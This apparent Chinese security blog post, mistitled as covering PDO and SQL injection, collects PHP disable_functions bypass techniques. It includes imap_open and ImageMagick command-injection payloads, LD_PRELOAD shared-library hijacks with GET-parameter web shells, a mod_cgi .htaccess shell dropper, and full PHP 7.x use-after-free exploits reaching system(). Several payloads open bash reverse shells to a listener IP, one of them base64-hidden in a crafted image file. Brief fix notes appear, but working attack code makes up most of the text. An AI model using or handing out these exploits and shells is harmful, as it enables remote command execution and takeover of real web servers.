SQL INJECTION,  Web安全

PDO与SQL注入

2019/04/24 /

1. 环境搭建

docker：https://hub.docker.com/r/boosen/lnmp/tags
版本：ubuntu 14.04 + php5.6 + mysql 5.5 + nginx1.8

  1. sudo wget -qO- https://get.docker.com|sh 安装docker 最新版
  2. vim /etc/docker/daemon.json 写入
    { "registry-mirrors": ["https://registry.docker-cn.com"] }
    换源
  3. docker pull boosen/lnmp 拉取lnmp环境
  4. docker container run -d -it -p 8081:80 --name xxx boosen/lnmp 开启容器
  5. docker exec -it id /bin/bash 进入容器

2. Bypass disable_functions

1. imap_open (CVE-2018-19518) 绕过

1.安装imap_open 扩展

1.apt-get install libc-client2007e-dev -y
2.cd php源码/ext/imap
3.phpize
4../configure --with-php-config=/usr/local/php/bin/php-config --with-imap=/usr/lib64 --with-imap-ssl --with-kerberos
5.make && make install
6.echo "extension = imap.so" >> /usr/local/php/lib/php.ini 
6.service php-fpm restart

2.简单分析
根据https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb和https://www.codercto.com/a/43774.html：

  1. 当能够使用ssh时，imap会启动一个预认证模式，使用ssh协议进行认证，如果认证成功就不会建立一个imap连接，而是继续执行。
  2. 基于预认证模式，我们就可以通过ssh进行参数传递，这个参数就是mailbox，而ssh中有一个参数-o，这个参数可以指定连接时的参数选项，如果我们指定ssh的另一个参数ProxyCommand,就可以通过这个参数执行命令。

3.payload构造

<?php
$payload = "/bin/bash -i >& /dev/tcp/192.168.239.201/12345 0>&1";
$base64 = base64_encode($payload);
$server = "any -oProxyCommand=echo\t{$base64}|base64\t-d|bash";
@imap_open("{".$server."}:143/imap}INBOX","","");


4.修复

  1. php版本符合以下可以在php.ini设置:
imap.enable_insecure_rsh	"0"	PHP_INI_SYSTEM	Available as of PHP 7.1.25, 7.2.13 and 7.3.0. Formerly, it was implicitly enabled.

这样就可以禁止不安全的预认证

  1. 禁用imap_open函数

2. ImageMagick(CVE-2016-3714)绕过

1.环境要求
imagick 版本<=6.9.3-9

2.简单分析
根据http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html简单分析：

  1. Imagick是一个图形处理库，支持的语言非常多，通过这个库可以对web图片进行裁剪、翻转等操作，但是由于其对https文件处理不当，导致我们可以执行命令。
  2. 在 /etc/ImageMagick-6/delegates.xml：
  <delegate decode="https" command="&quot;curl&quot; -s -k -L -o &quot;%o&quot; &quot;http
s:%M&quot;"/>

如果对https形式的资源进行处理，导致我们可以通过命令拼接的方式command=curl -s -k -L -o "%o" "https:%M",通过|、&、`的方式进行命令的拼接,其中%M是占位符：

    %a  authentication passphrase
    %b  image file size in bytes
    %g  image geometry
    %h  image rows (height)
    %i  input image filename
    %#  input image signature
    %m  input image format
    %o  output image filename
    %p  page number
    %q  input image depth
    %s  scene number
    %u  unique temporary filename
    %w  image columns (width)
    %x  input image x resolution
    %y  input image y resolution

3.payload构造

  1. vim poc.png 写入以下内容
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM5LjIwMS8xMjM0NSAwPiYxCg==|base64 -d|bash")'
pop graphic-context
  1. 写一个上传页面upload.php(主要是用来调用Imagick类的)
<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload</title>
</head>
<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" value="submit">
    </form>
</body>
<?php
        $filename = $_FILES['file']['name'];
        $type = substr($filename, strrpos($filename, '.')+1);
        if ($type === "jpg" || $type === "png" || $type === "gif") {
                move_uploaded_file($_FILES['file']['tmp_name'], $filename);
                $imgObject = new Imagick($filename);
        }
?>
</html>
  1. 上传文件

3.修复方法

  1. 升级Imagick到6.9.3-10及以上
  2. 使用 policy file 来防御这个漏洞，这个文件默认位置在 /etc/ImageMagick-6/policy.xml ，我们通过配置如下的 xml 来禁止解析 https 等敏感操作：
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />

3. mail()函数

1. 环境要求
参考：https://xz.aliyun.com/t/3937

  1. cve-2014-6271(bash 破壳漏洞)，不过太老了，这种 bash软件的漏洞发行版基本上痘修复了，所以不考虑
  2. mail()、putenv()以及getenv()可用

2. payload构造

  1. 生成evil.so,上传到/tmp/evil.so
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/_0utput.txt");
  system(buf);
} 

int  geteuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}

若是没启用或者不存在/usr/bin/sendmail这样的功能，还可以利用GCC的扩展修饰符:
若函数被设定为constructor属性，则该函数会在main（）函数执行之前被自动的执行。类似的，若函数被设定为destructor属性，则该函数会在main（）函数执行之后或者exit（）被调用后被自动的执行，而在PHP这里执行的前提是，我们需要新启动一个进程，因为共享库不是被系统自动加载的，而是新进程要求加载的

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("_evilcmd");
    system(cmd);
}
  1. 写shell.php
<?php

$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
echo "putenv: $r1 <br>";

$cmd = $_GET['cmd'];
$r2 = putenv("_evilcmd=$cmd");
echo "putenv: $r2 <br>";

$r3 = mail("a@example.com", "", "", "");
echo "mail: $r3 <br>";

highlight_file("/tmp/_0utput.txt");

?>

3. 修复方法
禁用putenv

5. error_log

1. 介绍
error_log 用来将错误消息发送到web日志或者系统文件中，但是有趣的地方在于该函数的第二个参数：message_type，根据官方文档描述：当message_type为1时，就会使用邮件发送消息，而使用的邮件也就是sendmail，所以这方法就和上一个：mail有点像了

2. payload构造
将共享库evil.so上传到/tmp目录
shell.php:

<?php

$r1 = putenv("LD_PRELOAD=/tmp/evil.so");
echo "putenv: $r1 <br>";

$cmd = $_GET['cmd'];
$r2 = putenv("_evilcmd=$cmd");
echo "putenv: $r2 <br>";

$r3 = error_log('test', 1);
echo "mail: $r3 <br>";

highlight_file("/tmp/_0utput.txt");

?>

5. Imagick 结合LD_PRELOAD的另一种用法

1. 介绍
Imagick在处理ffpemg类型的文件时，会去调用外部处理程序，在对利用了Imagick的php文件进行strace追踪后，发现调用栈里面除了/usr/bin/php这个php的解释器外，还调用了/bin/sh来执行ffpemg命令，那么我们便可以劫持/bin/sh加载的共享对象了:

#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("_evilcmd");
    system(cmd);
}

6. pcntl_exec

1. 环境要求
phpinfo()中，编译带有--enable-pcntl

2. payload构造

<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash，方便下一次继续执行
    pcntl_exec("/bin/bash", $cmd);    //可能会造成假死。因为pcntl_exec一直处于等待的状态
    highlight_file("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

3. 修复方法
禁用pcntl_exec

7. Bypass with via mod_cgi

1. 环境要求
参考：http://0cx.cc/bypass_disabled_via_mod_cgi.jspx

  1. apache 服务器
  2. .htaccess文件可写
  3. mod_cgi 模块启用
  4. chmod() 没被禁用

2. payload构造

<?php
$cmd = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 2>&1"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

8. bypass with via LD_PRELOAD (感觉是最强大的方法)

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
已经够详细了，就不画蛇添足了

9. COM 组件 （WINDOWS 专属）

1. 环境要求

  1. extension = php_com_dotnet.dll
  2. 搜索 phpinfo() 是否有 com_dotnet

2. payload构造

<?php
$wscript = new COM('wscript.shell');
$wscript->Run("cmd.exe /c calc.exe");

3. 修复方法
禁用 COM组件：注释extension = php_com_dotnet.dll

9. 终极大杀器(自动化傻瓜，只支持类unix) 蚁剑扩展

https://github.com/AntSword-Store/as_bypass_php_disable_functions

2020年7月10更新

10. php7.0-7.3垃圾回收器bug，适用于*inx

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }
    
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

11. json serializer UAF ，*nix

7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

12. debug_backtrace uaf，应用于php7.0-7.4的*nix系统

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn($_GET['cmd']);

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

13. php7.4 ffi.enable=true

无回显

<?php
$ffi = FFI::cdef("int system(char *command);");
$ffi->system("touch /tmp/test.txt");
?>

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